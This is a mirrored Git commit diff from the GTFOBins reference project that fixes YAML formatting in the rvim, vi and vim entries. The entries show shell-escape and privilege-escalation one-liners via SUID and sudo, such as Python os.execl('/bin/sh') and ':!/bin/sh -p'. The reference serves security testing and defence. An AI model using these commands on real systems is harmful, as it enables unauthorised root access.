mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Fix YAML format in vi
This commit is contained in:
parent
ed9363fe2d
commit
e066c22c1f
@ -1,7 +1,7 @@
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- description: This requires that rvim is compiled with Python support.
|
||||
- description: This requires that `rvim` is compiled with Python support.
|
||||
code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||
file-write:
|
||||
- description: This requires that rvim is compiled with Python support.
|
||||
@ -13,9 +13,9 @@ functions:
|
||||
file-read:
|
||||
- code: rvim file_to_read
|
||||
suid:
|
||||
- description: This requires that rvim is compiled with Python support.
|
||||
- description: This requires that `rvim` is compiled with Python support.
|
||||
code: ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||
sudo:
|
||||
- description: This requires that rvim is compiled with Python support.
|
||||
- description: This requires that `rvim` is compiled with Python support.
|
||||
code: sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||
---
|
||||
|
@ -6,7 +6,7 @@ functions:
|
||||
vi
|
||||
:set shell=/bin/sh
|
||||
:shell
|
||||
- description: This requires that vi is compiled with Python support.
|
||||
- description: This requires that `vi` is compiled with Python support.
|
||||
code: vi -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||
file-write:
|
||||
- code: |
|
||||
@ -20,6 +20,6 @@ functions:
|
||||
- code: ./vi -c ':!/bin/sh -p'
|
||||
sudo:
|
||||
- code: sudo vi -c ':!/bin/sh'
|
||||
- description: This requires that vi is compiled with Python support.
|
||||
- description: This requires that `vi` is compiled with Python support.
|
||||
code: sudo vi -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||
---
|
||||
|
@ -6,7 +6,7 @@ functions:
|
||||
vim
|
||||
:set shell=/bin/sh
|
||||
:shell
|
||||
- description: This requires that vim is compiled with Python support.
|
||||
- description: This requires that `vim` is compiled with Python support.
|
||||
code: vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||
file-write:
|
||||
- code: |
|
||||
@ -20,6 +20,6 @@ functions:
|
||||
- code: ./vim -c ':!/bin/sh -p'
|
||||
sudo:
|
||||
- code: sudo vim -c ':!/bin/sh'
|
||||
- code: sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||
description: This requires that vim is compiled with Python support.
|
||||
- description: This requires that `vim` is compiled with Python support.
|
||||
code: sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user